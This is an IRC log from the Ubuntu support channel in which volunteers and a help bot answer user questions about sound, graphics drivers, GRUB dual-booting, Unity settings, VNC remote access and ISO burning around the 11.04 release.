[00:26] <ActionParsnip> christhecoolboy: if lsusb just hangs then that may be part of the issue
[00:26] <spikebike> coz_: I've got an idle mirror ;-)
[00:26] <MohammadAG> if you have automatic login, you logout and pick what you want
[00:26] <coz_> spikebike,  nope not scrolling thiny going on
[00:26] <teage> Ok nmap says port 15 open service netstat. why would chkrootkit report INFECTED on port 15?
[00:26] <christhecoolboy> ActionParsnip, I need this solved within two hours, *sad face*
[00:26] <AaeRohn> rockj: still here?
[00:26] <naoko> hey guys
[00:27] <coz_> spikebike,  let me install kazam or gtkrecord my desktop to show , maybe i am doing it wrong hold onon
[00:27] <ubuntu_> MohammadAG,  sweet. thanks.
[00:27] <naoko> I installed xChat, and I noticed once it's minimized, you can't access it anylonger from any window
[00:28] <coz_> naoko,  it should be in the launcher
[00:28] <Glacia> no one?
[00:28] <russjr08> naoko, have you tried Alt+Tab? It happens to me sometimes and I can access it from there
[00:28] <truepurple> Anyone know which ATI drivers are the best to use?
[00:28] <naoko> coz_: clicking that just opens up a new process
[00:28] <coz_> naoko,   are you middle clicking it?
[00:29] <naoko> coz_: nevermind, russjr08's thing works
[00:29] <rgr> naoko: its logged as a bug already. google xchat minimised.
[00:29] <coz_> naoko,  oh ok
[00:29] <naoko> rgr: Oh, alright.
[00:29] <christhecoolboy> ActionParsnip, http://paste.ubuntu.com/601054/
[00:29] <ActionParsnip> truepurple: depends on needs and taste
[00:29] <rgr> http://fossplanet.com/f10/[bug-772524]-re-when-minimising-xchat-xchat-gnome-unity-icondisappears-143124/
[00:30] <ActionParsnip> truepurple: there is no single best solution for anything
[00:30] <cmb151> are there any alternatives to alsa if it does not have a driver for my soundcard?
[00:30] <truepurple> ActionParsnip: Ok, so which solutions are good for what kind of things?
[00:30] <rgr> truepurple: explain your needs. else read the wiki.
[00:30] <truepurple> ActionParsnip: Or put another way, what are the pros and cons of the different driver options?
[00:30] <tase> im trying to install ubuntu on this old laptop, but it's stuck on the part with the 5 dots under the ubuntu title, 10.10 i368 from usb
[00:30] <naoko> There we go, thank you guys.
[00:31] <ActionParsnip> truepurple: if you need full 3D goodness for games and the like then use the proprietary, if you just need basic desktop based stuff then the open drivers are fine
[00:31] <truepurple> rgr: What wiki?
[00:31] <christhecoolboy> ActionParsnip, Just ran Cheese, Webcam works fine... Should I run Device Manager?!
[00:31] <spikebike> hey coz_ can you 6MB video I recorded with my android phone?
[00:31] <coz_> spikebike,  making video
[00:31] <spikebike> coz_: can you view rather
[00:31] <steve1> I just upgraded to 11.04 and the new keyboard shortcuts have broken my existing keyboard shortcuts ... is there a way to modify the keyboard shortcuts in 11.04?
[00:31] <truepurple> ActionParsnip: the proprietary is the one you download off the ATI website?
[00:31] <coz_> spikebike,  can you upload it to speedyshare?
[00:31] <dios_mio> I use two keyboard layouts... in preferences I unchecked "new windows use active windows's layout" but it is still the rule...
[00:31] <KNUBBIG> steve1: not all, but some afaik. Try compizconfig-settings-manager
[00:31] <ubd> HEllo, i want to install ubuntu with openbox, but i have to use specific drivers (geode) for xorg. how do i do that?
[00:31] <dijonyummy> i'll keep classic gnome, but should i upgrade to 11.04 or do the fresh install. are there bugs with upgrading from 10.10?
[00:32] <ActionParsnip> truepurple: you can use the additional drivers app
[00:32] <rgr> what wiki? google ubuntu video drivers. There are umpteen sources. Asking for an entire descritpion in #irc is a little optimistic.
[00:32] <ActionParsnip> ubd: you can use xorg.conf to set the driver
[00:32] <rgr> depends on card type for a start
[00:32] <KNUBBIG> !ccsm | steve1
[00:32] <ubottu> steve1: To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[00:32] <cmb151> Will someone please help me hear ubuntu? My soundcard is not working.
[00:33] <rgr> dijonyummy: have you looked at the Ubuntu supprot forums? There are oodles of issues.
[00:33] <ubd> ActionParsnip: can you tell me the steps i should follow? like 1- install base, 2- install driver 3- install xorg 4- edit xorg conf etc?
[00:33] <steve1> KNUBBIG: is that the only place?  I found those, but they're still not all of them ... like I had used Win+L to lockscreen ... now it does nothing.  actually, now that I think about it, it's all my Win+? shortcuts that are borked.
[00:33] <ActionParsnip> christhecoolboy: if you run:  alsamixer    is the mic muted?
[00:33] <truepurple> ActionParsnip: But those aren't as up to date as what I would get off ATIs website, right?
[00:34] <ActionParsnip> ubd: I'd say install ubuntu and openbox then set the xorg.conf and restart X and it will be used
[00:34] <KNUBBIG> steve1: I'm not sure but I think these are all you can modify. There was a user today asking something similar, but I don't remember if he found a solution, maybe you can look through the channel logs
[00:34] <cmb151> The sound issue is all over the forums, bu t I have not been able to solve it by using any of the threads there
[00:34] <ActionParsnip> truepurple: not sure, I avoid Ati like the plague
[00:34] <ubd> ok thanks!
[00:34] <christhecoolboy> ActionParsnip, above mic it has MM
[00:34] <ubuntu_> MohammadAG,  do ya know  if th e Kubuntu is the same as well? with the  unity option?
[00:34] <rgr> ditto here. NVidia all the way for me.
[00:34] <ActionParsnip> christhecoolboy: then use cursors and M to navigate and unmute it
[00:35] <cmb151> Way back in ubuntu 9 my sound worked fine
[00:35] <ActionParsnip> christhecoolboy: use Q or ESC to close alsamixer
[00:35] <lost_cause> Anybody have any success customizing unity in 11.04? I would like  to move task bar to bottom. Ideas? Help please.
[00:35] <rgr> cmb151:  what card do you have?
[00:35] <christhecoolboy> ActionParsnip, whats the button to Unmute, I remember there being a button...
[00:35] <pooltable> help with 11.4 show desk top and i do not see my ext had drive in place how do i fix it ?
[00:35] <aguitel> lost_cause, install ccsm
[00:35] <ActionParsnip> christhecoolboy: M, like I said
[00:35] <cmb151> VIA VT1708/A it is not supported by alsa
[00:35] <freeman_> i tried adding a .sh script to my unity dock and it wont add. any ideas?
[00:35] <MohammadAG> ubuntu_, most probably yeah
[00:35] <lost_cause> ccsm. Thank you.
[00:35] <abr> switched to #xubuntu
[00:35] <cmb151> what other thing can I use?
[00:35] <rgr> get a cheap alternative much easier if you can.
[00:36] <MohammadAG> not sure about KDE apps in Unity though
[00:36] <cmb151> 80:01.0 Audio device: VIA Technologies, Inc. VT1708/A [Azalia HDAC] (VIA High Definition Audio Controller) (rev 10)
[00:36] <rgr> if alsa is borked with your card you are entering support hell IMO. Get something that works.
[00:36] <christhecoolboy> ActionParsnip, I only hear a hissing static noise when I do...
[00:36] <ubuntu_> MohammadAG,  thanks  once again, the usb installer wasnt too bad think ill  check it out on that.
[00:36] <ubuntu_> thanks again
[00:36] <cmb151> it used to work back with ubuntu 9
[00:36] <mis3ry> #help
[00:36] <cmb151> still works with windows
[00:37] <MohammadAG> ubuntu_, you're welcome :)
[00:37] <freeman_> why cant i add a .sh file to my dock?
[00:37] <cmb151> rgr: so you are saying no fix then, I must buy another card, or downgrade to 9?
[00:37] <dios_mio> I am about to use Gnome 3 PPA...
[00:37] <KNUBBIG> dios_mio: it will break Unity, just fyi
[00:37] <pooltable>  i do not see my ext hard drive in place how do i fix it ?
[00:38] <ActionParsnip> christhecoolboy: does the mic work in sound recorder though?
[00:38] <dios_mio> KNUBBIG, it has an alternative shell to unity, right?
[00:38] <KNUBBIG> dios_mio: yes, if it works fine for you than it's no problem that it breaks unity :)
[00:38] <tase> im trying to boot ubuntu live cd on this old laptop, but it's stuck on the part with the 5 dots under the ubuntu title, 10.10 i386 from usb, anyone know what I could do?
[00:38] <teage> How would you kill a process running on a certain port
[00:38] <Nisstyre> Can anybody please tell me what Unity is using only primary attributes?
[00:39] <dios_mio> KNUBBIG, I hated unity anyway.. I am using the classic desktop. heh
[00:39] <Rockj> AaeRohn: http://paste.ubuntu.com/601063/
[00:39] <christhecoolboy> ActionParsnip, Can I give my own opinion?
[00:39] <ActionParsnip> christhecoolboy: sure
[00:39] <KNUBBIG> dios_mio: than it may be fine for yoU :)
[00:39] <dios_mio> :D
[00:39] <testunz> unity seems to be a crash
[00:39] <Rockj> AaeRohn: I'm still around, had a visit by some old friend at the door at 1.30am :O
[00:40] <christhecoolboy> ActionParsnip: I think that it is not aslamixer that is the problem, I think the mic needs to be fixed or "found"
[00:40] <coreire> I'm having trouble getting anything but Ubuntu to boot with grub2 that came with ubuntu 11.04. I've just installed grub legacy. Can anyone tell me the correct lines to add to menu.lst to get my windows 7 partition to boot? It's on /dev/sda1
[00:40] <JoseeAntonioR> Hello! Does anyone knows the Canonical Lexington office phone number?
[00:40] <KNUBBIG> I'd actually like to try the new gnome shell but I won't risk breaking Unity :( Anybody knows if building gnome-shell from source also breaks Unity?
[00:41] <BiosElement> KNUBBIG: I'd say building it from source would be worse. If you install GnomeShell via debs, you can at least then remove it and install unity again.
[00:41] <IsmAvatar> I'm not sure if this is the Global Menu's or Firefox's fault, but when I middle-click a bookmark, it opens in the current tab, whereas in Ubuntu 10.10, it opened in a new tab. What's up?
[00:41] <BiosElement> IsmAvatar: Check Firefox settings, I suspect that's a firefox thing.
[00:41] <KNUBBIG> BiosElement: Hm, okay. So I'll have to use a VM as soon as I get back to my desktop
[00:41] <Senix> How do I disable and enable desktop effects in Ubuntu 11.04????
[00:41] <JoseeAntonioR> Does anyone knows where can I call Canonical USA?
[00:41] <rgr> why remove it at all?
[00:42] <nsahoo> I was trying a cli version upgrade but it failed with a bunch of broken packages. Is there a way to fix it?
[00:42] <KNUBBIG> coreire: grub2 didn't come with 11.04, actually, I'd say using legacy is not good at all
[00:42] <rgr> nsahoo: an upgrade of what to what?
[00:42] <coolkid25> ActionParsnip:
[00:42] <aeon-ltd> Senix: you mean compiz? alt-f2 'metacity --replace' will kill compiz and replace with metacity as the window manager
[00:42] <ActionParsnip> Senix: press ALT+F2 and run:  metacity --replace     to disable and:  compiz --replace     to eable
[00:43] <Kibo> Good night guys. Maybe someone could help me? I might have rebooted my system before the upgrade to 11.04 was over (the login screen was showing "reboot needed" or something to that effect). Now the box won't boot, and the kernel/dist is not showing on GRUB screen. Can I salvage it with a 10.10 live (USB)?
[00:43] <coolkid25> Ok noe I have a rar file with a whole bunch of fikes in it?
[00:43]  * Senix facepalms I want to TURN off all desktop effects
[00:43] <nsahoo> rgr: to 11.04
[00:43] <coolkid25> Do i extract it ActionParsnip ?
[00:43] <BiosElement> nsahoo: sudo apt-get install --fix-broken or something along those lines should help.
[00:43] <coreire> KNUBBIG: I'm just trying it as a last resort. Every time i select windows the system just reboots back to grub
[00:43] <christhecoolboy> ActionParsnip, you might be right about it being part of the soundcard, but how did I work before?!
[00:43] <Kevin147> Kibo: So, is it at the place where it shows grub> ?
[00:43] <AaeRohn> rockj: added lines, restart?
[00:43] <KNUBBIG> coreire: I had that running fine some time again but I can't remember the exact line for the menu.lst, sorry. Maybe google will help you there :)
[00:44] <deshymers> updated to 11.04 and unity isnt on by default, when I run unity --rest in ttyl1 and go back to ttyl7 I see unity over top of the old 10.10 desktop any suggestions?
[00:44] <ActionParsnip> christhecoolboy: not sure man
[00:44] <Kibo> When I reboot, the GRUB shows, but I only have 10.10's listed
[00:44] <ActionParsnip> coolkid25: no, just md5 test it and burn it slowly to a cd
[00:44] <kpoman> hey all
[00:44] <KNUBBIG> !grub1 | coreire
[00:44] <ubottu> coreire: grub 1 is the default boot manager for Ubuntu releases before 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - GRUB how-tos: https://help.ubuntu.com/community/GrubHowto - See !grub for Karmic onwards
[00:44] <KNUBBIG> maybe
[00:44] <coreire> I've formatted, partitioned, and reinstalled the os's multiple times, in different orders, and it's just driving me nuts at this stage lol
[00:44] <kpoman> 11.04 is buggy for you too guys ? for me it wont restart/stop. and ATI radeon stopped working
[00:44] <Rehan> Kibo: are you trying to hide the grub screen?
[00:45] <coolkid25> ActionParsnip: but its a winrar file?
[00:45] <rgr> coreire: whats OSen? And why?
[00:45] <KNUBBIG> kpoman: is it just logging you out instead of rebooting/shutting down?
[00:45] <rgr> s/whats/what
[00:45] <ActionParsnip> coolkid25: it'snot, your dumb OS makes it look like one because winrar can handle the file, that's all
[00:45] <BKTech86> hi, i'm trying to restore grub and i believe i have a separate boot partition from my linux partition, can anybody help me? the guides don't seem to work
[00:45] <kpoman> KNUBBIG: when I try to restart / stop, it just logs out and hangs
[00:45] <KNUBBIG> kpoman: okay same for me :@, didn't find a solution yet
[00:45] <coreire> KNUBBIG: Tried that already, but thanks
[00:45] <kpoman> KNUBBIG: even magic sysrq keys fail
[00:45] <Kibo> Rehan: No. The GRUB screen shows, I select the last kernel (still 10.10) and the boot stops, complaining of a disk not mounted....
[00:45] <Kevin147> KNUBBIG: same for me atm
[00:45] <coolkid25> ActionParsnip: Sorry. XD can i use a dvd to burn it
[00:45] <coolkid25> ?
[00:46] <christhecoolboy> in device manager, under HDA NVidia Sound Card, there is... two things labled "ASLA Capture", In the info about them, one is: /dev/snd/pcmC0D0c and the other is: /dev/snd/pcmC0D2c and they are both: ALC888 Analog
[00:46] <christhecoolboy> ^ ActionParsnip ^
[00:46] <rgr> wow, the same old issue from when I first tried Ubuntu 5 years ago. LOL. What a crock.
[00:46] <ActionParsnip> coolkid25: did you download the DVD ISO?
[00:46] <KNUBBIG> cool we're not alone :)
[00:46] <coreire> rgr: Windows 7, Ubuntu 11.04, Mandriva 2010.2.
[00:46] <coolkid25> ActionParsnip: i think i downloaded the cd iso
[00:46] <coolkid25> where is the dvd one?
[00:46] <ActionParsnip> coolkid25: then no, you will need a CD media or the DVD ISO
[00:46] <rgr> install windows first. then the Linuxes. The run sudo update-grub for it to find win 7.
[00:46] <AaeRohn> Rockj: added lines, saved, and still nothing
[00:47] <Rockj> AaeRohn: you have to reboot now ;-)
[00:47] <rgr> well, that worked for me with debian and win 7.
[00:47] <coreire> rgr: did that. it breaks windows and mandriva
[00:47] <coolkid25> ActionParsnip: Where can I get the DVD iso?
[00:47] <Rockj> AaeRohn: that command requires you to reboot your computer to take action.
[00:47] <Kibo> Kevin147: Sorry, no. The actual boot screen (to select the kernel version)
[00:47] <coolkid25> I don't see it as an option.
[00:47] <rgr> what does "break" mean in this context?
[00:47] <rgr> you sure you're not overwriting partitions?
[00:48] <coreire> rgr: System reboot instantly on choosing windows. mandriva complains that the root partition is not set correctly
[00:48] <ActionParsnip> coolkid25: http://cdimage.ubuntu.com/releases/natty/release/ has the dvd
[00:48] <IsmAvatar> BiosElement: as I said, it happened in 11.04 and not 10.10, despite being ff4 in both versions. It sounds like more of an Ubuntu/Unity/Global Menu issue
[00:48] <coolkid25> thanks ActionParsnip :D
[00:48] <Kevin147> Kibo: Ahh okay, I see what you mean now.
[00:49] <ActionParsnip> coolkid25: instead of asking basic questions, try searching a little
[00:49] <rgr> well, you're optimisitc using a typically buggy pos release like 11.04 with multi boot imo. It might and probably does screw up your partitions on install ;)
[00:49] <kpoman> what I dont understand is why, if I had the same kernel **before** the upgrade, my ATI stopped working (DRI disabled)
[00:49] <Nesto> Hey guys, I was wonder if I could get some help real quick.... I have a Win7 desktop, and a ubuntu desktop (11.04) that I want to use as a printer server, but right now I'm trying to remote into the ubuntu desktop but I can't. I can remote into my windows from the ubuntu desktop but not the other way around. I have tried quite a few tuts i found online but to no avail...
[00:49] <Kibo> Kevin147: Sorry for the poor explaining. :-)
[00:50] <kpoman> if someone know how to troubleshot / solve this ? X is unusable in vesa mode (1680x1050)
[00:50] <ohsix> rgr: #ubuntu-offtopic for opinions
[00:50] <rgr> Nesto: what have you tried? Have you run firestarter?
[00:50] <coreire> rgr: I'm starting to agree. I might just go back to 10.10
[00:50] <truepurple> ActionParsnip: What do you have against ATI?
[00:50] <ohsix> rgr: also unsubstantiated assertions don't help anyone
[00:50] <rgr> coreire: Ubuntu releases are a farce.
[00:50] <Nesto> rgr, firestarter?
[00:50] <KNUBBIG> !downgrade
[00:50] <ubottu> Attempting to downgrade to an older Ubuntu version is explicitly not supported and may break your system.
[00:50] <KNUBBIG> :p
[00:50] <rgr> how did you try to connect?
[00:50] <kpoman> why with same kernel between 10.10 and 11.04 does ATI fail now to load DRM ?
[00:50] <ohsix> rgr: it sounds like you don't really want to be here to help people
[00:50] <j_anon1> How do I access an external device in Narwhal?
[00:50] <ActionParsnip> truepurple: they didn't support linux for a long time, nvidia have beeen doing it for ages and do it well, so I use them
[00:50] <Nesto> rgr, I tried out remote desktop, vnc, and thats about it
[00:50] <kpoman> if someone know anything here ?
[00:50] <coolkid25> ActionParsnip: Sorry, I have one more question though, does the DVD ISO support DVD+Rs?
[00:51] <belinrahs> For the record: If you really hate Unity, just choose Ubuntu Classic when you login and everything back to normal. Thank you.
[00:51] <rgr> try ssh directly
[00:51] <j_anon1> External drive, i mean.
[00:51] <ActionParsnip> truepurple: also seen too many issues with them and seen few with nvidia
[00:51] <rgr> enable port 22 of course.
[00:51] <ActionParsnip> coolkid25: yes
[00:51] <Kibo> Kevin147: Do you know if I CHROOT to the partition and do a dist-upgrade would work?
[00:51] <rgr> as for "firestarter" - google it
[00:51] <truepurple> ActionParsnip: Well I've heard of issues with both, and asked about nvdia and ATI regarding linux here before, and was told ATI was good for linux
[00:51] <ohsix> rgr: you need to enable remote access
[00:51] <ohsix> rgr: ubuntu uses ufw/
[00:52] <ohsix> Nesto: enable remote access first
[00:52] <rgr> truepurple: who told you that? The same bull artist who told people that xorg.conf is defunct ?
[00:52] <steve1> KNUBBIG: no luck so far remapping the fields, though I did found in CCSM that I could create custom "commands" that map to CLI commands.  I suppose that'll do.
[00:52] <kpoman> why with same kernel between 10.10 and 11.04 does ATI fail now to load DRM ? Help !
[00:52] <ohsix> Nesto: then you would use a vnc client
[00:52] <truepurple> ActionParsnip: Main reason I went radeon is that it is more efficient for your performance energy wize then radeon
[00:52] <rgr> kpoman: stop reteating
[00:52] <rgr> rpeating
[00:52] <Nesto> ohsix,  I did enable remote access
[00:52] <KNUBBIG> steve1: oh cool, thanks
[00:52] <Kevin147> Kibo: hmm, I'm not sure... I never had that problem, so yeah :/ today, I had a different problem where grub2 wouldn't recognize my kernel :/
[00:52] <kpoman> rgr: I slightly changed the sentece
[00:52] <ohsix> Nesto: what client did you use?
[00:52] <rgr> truepurple: who told you that? LOL!
[00:52] <AaeRohn> Rockj: eet works now :D
[00:52] <truepurple> rgr: I have no idea, I ask for advice, and am given it, I don't usually know the credentials of the people who give out advice
[00:52] <ActionParsnip> truepurple: its a case of !wfm. I back nvidia so I buy their stuff
[00:53] <ohsix> rgr: save your opinions
[00:53] <christhecoolboy> ActionParsnip, do you know how I know that the mic is not built in to the Speakers/Soundcard?
[00:53] <Nesto> ohsix, I used remote desktop buit into windows and vnc viewer
[00:53] <BKTech86> ActionParsnip: should grub be installed in the boot folder or in / ?
[00:53] <ohsix> rgr: if you want to debate it, #ubuntu-desktop
[00:53] <Kibo> Kevin147: Well, I think the worse it could do is finish destroying the install... Not too different of the current situation... :-)
[00:53] <ActionParsnip> BKTech86: i'm no good with grub dude
[00:53] <truepurple> rgr: Who told me what? That radeon is more efficient? I learned it myself from looking at many many reviews
[00:53] <ohsix> Nesto: right, but what vnc viewer; mstsc wouldn't be expected to work
[00:53] <rgr> truepurple: so use google and check for yourself. Never accept blindly in somewhere like a Linux channel. There are too many clueless zealots with a political eganda. Seriously.
[00:53] <ActionParsnip> BKTech86: I single boot linux so have had nothing to do with it except adding boot options
[00:53] <ohsix> !ot | rgr
[00:53] <ubottu> rgr: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[00:53] <rgr> truepurple: is it a laptop?
[00:53] <Kevin147> Kibo: Alright lol
[00:53] <ActionParsnip> christhecoolboy: how?
[00:53] <truepurple> rgr I did use SE, but it didn't come up with anything definitive
[00:54] <BKTech86> is anyone here an expert with grub?
[00:54] <Nesto> ohsix: i don't know, I just downloaded something from their website
[00:54] <rgr> who triggered that bot? This IS Ubuntu support.
[00:54] <truepurple> rgr: No, a desktop I put together myself
[00:54] <Kibo> Kevin147: I'll keep you posted... ;-)
[00:54] <ohsix> Nesto: from realvnc or something?
[00:54] <Kevin147> Alrightiz :P
[00:54] <christhecoolboy> ActionParsnip: The Specifications for the computer say "Webcam - 1 x 1.3MP webcam with microphone"
[00:54] <stravant> After updating to 11.04 all of the text for application file menus at the top of the screen, as well as the date/time indicator is the exact same color as the background, so I can't see it, does anyone have this problem or know how to fix it?
[00:54] <rgr> Well, if you're such a noob then I suggest nvidia over ati. but good luck anyway.
[00:54] <Nesto> ohsix: Yes, from realvnc
[00:54] <ohsix> Nesto: did you set a password or to ask you when someone connects in the remote access options?
[00:54] <tensorpudding> i just noticed that my unity file lens says my home directory is devoid of files, which is quite incorrect
[00:54] <ohsix> !ot | rgr
[00:54] <Nesto> ohsix: i set a password, but not to ask when someone connects
[00:55] <KNUBBIG> stravant: may be a problem with your theme, had that too
[00:55] <j_anon1> How do I access a usb drive in Narwhal?
[00:55] <stravant> It's one of the standard themes
[00:55] <ohsix> Nesto: hm, try it without a password, but to ask
[00:55] <truepurple> rsr: There are pleny of clueless websites and blind leads and dead search ends online too, but I got to go somewhere for information
[00:55] <stravant> Where do I go to change the theme again, I can't fin it now
[00:55] <rgr> truepurple: of course.
[00:55] <Rockj> AaeRohn: awesome :-)
[00:55] <ActionParsnip> christhecoolboy: is the webcam inbuilt to the system?
[00:55] <ohsix> Nesto: i don't know what vnc protocol stuff the builtin vnc server uses, i've just used vino and it worked
[00:55] <AaeRohn> ROckj: thank you man, have a good one
[00:55] <rgr> but earlier you seemed unaware that there is a wiki dedicated to video issues. Try it.
[00:56] <rgr> a lot is trial and error and hard work.
[00:56] <ohsix> rgr: url to said wiki?
[00:56] <ActionParsnip> j_anon1: plug it in and it willmount, assuming it was safetly removed last time it was unplugged
[00:56] <ohsix> rgr: trial and error is garbage
[00:56] <Rockj> AaeRohn: conclution, drivers were installed but dmesg only registered it as a standard usb storage device, so we had to poke it to switch usb mode or something. That we can do by udev which is a system of rules for setting up devices that your operating system uses to speak with the devices.
[00:56] <rgr> j_anon1: plug it on and browse...
[00:56] <Rockj> "dmesg shows us it was only registerd as a ..."
[00:56] <christhecoolboy> ActionParsnip: Yes... look at: http://www.avadirect.com/product_print.asp?info=1&PRID=14843 [Top Picture, Tag 4 & 5...
[00:56] <Nesto> ohsix: how do you use vino
[00:56] <Kevin147> stravant: You can change it by searching in Unity, "Appearance"
[00:56] <truepurple> ActionParsnip: What is "!wfm"?
[00:57] <tjiggi_fo> rgr, wiki link?
[00:57] <ohsix> rgr: namely because nobody knows what "error" is, so when they find something that works they've found a nonsolution or work around
[00:57] <rgr> I already gave the google string. Its really not hard.
[00:57] <hypodermia> i have no audible system bell in natty. any ideas, anyone?
[00:57] <Daekdroom> What is the command that displays all devices that are mounted, where they are mounted and where the devices are in the filesystem?
[00:57] <j_anon1> ActionParsnip, it is plugged in, but then what? There's no "Places" in the taskbar and "files and folders" just includes Downloads, Music, etc.
[00:57] <ohsix> Nesto: it's the vnc client that comes with ubuntu, i just start it from applications -> internet
[00:57] <hypodermia> Daekdroom: mount
[00:57] <j_anon1> and it's not displayed on the desktop
[00:57] <ohsix> !google | rgr
[00:57] <ubottu> rgr: While Google is useful for helpers, many newer users don't have the google-fu yet. Please don't tell people to "google it" when they ask a question.
[00:57] <g0t> Results for | rgr on Google:
[00:57] <g0t> --
[00:57] <Daekdroom> hypodermia, thank you
[00:57] <ActionParsnip> j_anon1: when you last used it successfully, how did you remove it from the system?
[00:58] <ActionParsnip> christhecoolboy: you'll most likely find that its part of the soundcard, not the webcam
[00:58] <ohsix> rgr: i'll ask again if you aren't going to help people to please not speak at all; there are a lot of people looking for help
[00:58] <j_anon1> I didn't last use it on that computer. This is the first time I have plugged it in.
[00:58] <Nesto> ohsix, I'm trying to remote from windows 7 to ubuntu
[00:58] <KNUBBIG> Nesto: try putty
[00:59] <j_anon1> what's SUPPOSED to happen in narwhal?
[00:59] <ohsix> Nesto: yes i know, and you said realvnc doesn't work; i said you could try to set it to "ask" instead of taking a password to see if it asks, you haven't done that yet
[00:59] <christhecoolboy> ActionParsnip: but when it says "Webcam with Microphone" doesnt that mean they are together? They are centimeters apart...
[00:59] <ZenGuy311>  Nesto vnc or teamviewer
[00:59] <christhecoolboy> *Imply
[00:59] <christhecoolboy> not mean xD
[00:59] <Kevin147> ohsix: teamviewer
[00:59] <ActionParsnip> christhecoolboy: you'll nee dto investigate, having 2 mics on a system like that would be really silly
[00:59] <ohsix> Kevin147: not helping
[00:59] <ohsix> Kevin147: if something doesn't work that is supposed to work, you don't just try something else
[01:00] <Nesto> I don't want to use teamviewer... I want to access my computer over my network, not my internet
[01:00] <christhecoolboy> ActionParsnip, there is a mic port at the back, for cabled mics and a pic with the webcam...
[01:00] <christhecoolboy> *mic
[01:00] <Nesto> ohsix: I did do that... but still nothing....  :/
[01:00] <ohsix> Nesto: let me know if it asks you to let someone connect if you connect without a password assigned
[01:00] <ActionParsnip> christhecoolboy: not sure then, sounds like a mess. Got a wired mic to plug into the micport ust for the now?
[01:00] <ZenGuy311> Nesto: have you can use teamviewer on local lan only
[01:00] <ohsix> ZenGuy311: see what i said to Kevin147
[01:01] <Kevin147> ..
[01:01] <christhecoolboy> ActionParsnip, It wont let me select any options on Input on the sound thing, so no, ;'(
[01:01] <BKTech86> hi, my computer won't boot windows or ubuntu, can someone help me ?
[01:01] <whodevil> what happened to the system tray and gnome pannel widgets in 10.4?
[01:01] <Kevin147> ohsix: I was just suggesting something, no biggie
[01:01] <ActionParsnip> christhecoolboy: then I've no more solutions. My sound always just works because I shop smart
[01:01] <Nesto> hmmm.... really ZenGuy311? I shall try that out instead
[01:01] <j_anon1> Should Narwhal be showing my external drive on the desktop and when i click Files and Folders?
[01:01] <ohsix> Kevin147: right, but i'm trying to figure out why the one thing isn't working; suggestions appreciated but distracting people is not
[01:01] <aj00200> It appears that Unity just has some problems with a dual-screen setup
[01:01] <ohsix> aaaouhrouarh sigh
[01:01] <KNUBBIG> !error | BKTech86
[01:01] <ubottu> BKTech86: Please elaborate, your question or issue may not seem clear or detailed enough for people to help you. Please give more detailed information, errors, steps, and possibly configuration files (use the !pastebin to avoid flooding the channel)
[01:02] <ActionParsnip> christhecoolboy: others may be able to advise, but you said there was a hole to plug in a mic, find an external mic and use that
[01:02] <j_anon1> Considering it is recognized in the GNOME version
[01:02] <KNUBBIG> aj00200: dual-screen works fine for me
[01:02] <christhecoolboy> ActionParsnip, I shopped the best I could, I needed  a PC that had stereo mix so I could record PC sound as well... But thanks for your help...
[01:02] <ActionParsnip> christhecoolboy: no worries man
[01:02] <aj00200> KNUBBIG: it may have been that I have my screen setup as being above my laptop screen
[01:02] <ohsix> Nesto: good luck, you won't get any support for that, maybe Kevin147 and ZenGuy311 will help you, but it's not software ubuntu distributes so they won't be doing it here
[01:03] <russjr08> Does anyone know if WUBI is working with 11.04 yet?
[01:03] <Nesto> ah ok ohsix, well I can probably figure the team viewer part myself... anyways thanks ohsix
[01:03] <KNUBBIG> aj00200: that may be true, mine at home is standard with additional display on the right. Sorry, can't say anything about additional one placed above.
[01:03] <BKTech86> i had windows 7 and ubuntu side by side for a long time, windows 7 requested a repair operation and I let it do so, it then made my hard drive unbootable at all (i assume grub is gone) using guide to restore grub has not worked, please help thanks
[01:03] <ffksadfdl> Can anyone tell me why my indicators are gone?
[01:03] <ohsix> Nesto: hopefully the problem you're having isn't a genuine bug, as it won't be found and won't be reported now :[
[01:04] <aj00200> KNUBBIG: ok. Maybe I'll try putting it to the right. I could get used to it after a while
[01:04] <KNUBBIG> !grub | BKTech86
[01:04] <ubottu> BKTech86: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[01:04] <Kibo> Kevin147: Just an update... Tried the apt-get dist-upgrade, the machine complained and asked for a "dpkg --configure -a". It's still running, I think it's finishing the upgrade... Still hopeful... ;-)
[01:04] <BKTech86> KNUBBIG: using guides to restore grub has not worked
[01:04] <toto654> windows 7 has no problem coexisting with ubuntu
[01:04] <kpoman> ok... I am now in ubuntu ! do someone know what could be wrong with radeon and X ? Why is it now failing to load with DRI ?
[01:04] <Kevin147> Kibo: yeah it must be, so when that finishes it should work :)
[01:04] <Nesto> ohsix, i think that it's something with my network
[01:04] <Kibo> Kevin147: I hope so!! lol
[01:05] <Kevin147> Kibo: Good luck dude! :P
[01:05] <kpoman> I do have errors on Xorg.0.log like "[    34.288] (EE) RADEON(0): [dri] RADEONDRIGetVersion failed because of a version mismatch." and some segfaults on fglrx tools
[01:05] <stravant> I have a dual screen setup and always use chrome on the left screen, with the unity desktop there's an extra panel at the top of the left screen wasting vertical space, which chrome never uses. It there likely no solution to this?
[01:05] <Kibo> Kevin147: Thanks a bunch, man! ;)
[01:05] <ohsix> Nesto: could be, easy enough to check; try and connect to port 5900 on the machine with vnc, though realvnc should have told you if it failed to connect
[01:05] <Kevin147> Kibo: np
[01:06] <ohsix> Nesto: if it's just your lan i think it's something else; different authentication options and stuff are supported and if theres no common set between the viewer and the server it won't let you authenticate and stuff
[01:06] <Nesto> ohsix, yea vnc says error connecting
[01:06] <RKyle> How would I permanently disable the synatpics touchpad on my laptop?
[01:06] <ohsix> Nesto: okie dokie
[01:06] <awakening> I have a question which might have a simple answer, can someone point me in the right direction for a dvd player app for ubuntu?
[01:07] <Nesto> ohsix, also, for some reason my laptop get's really really slow download speeds
[01:07] <ohsix> Nesto: can you post the output of sudo iptables -L -v as ran from a terminal to a pastebin?
[01:07] <KNUBBIG> !dvd | awakening
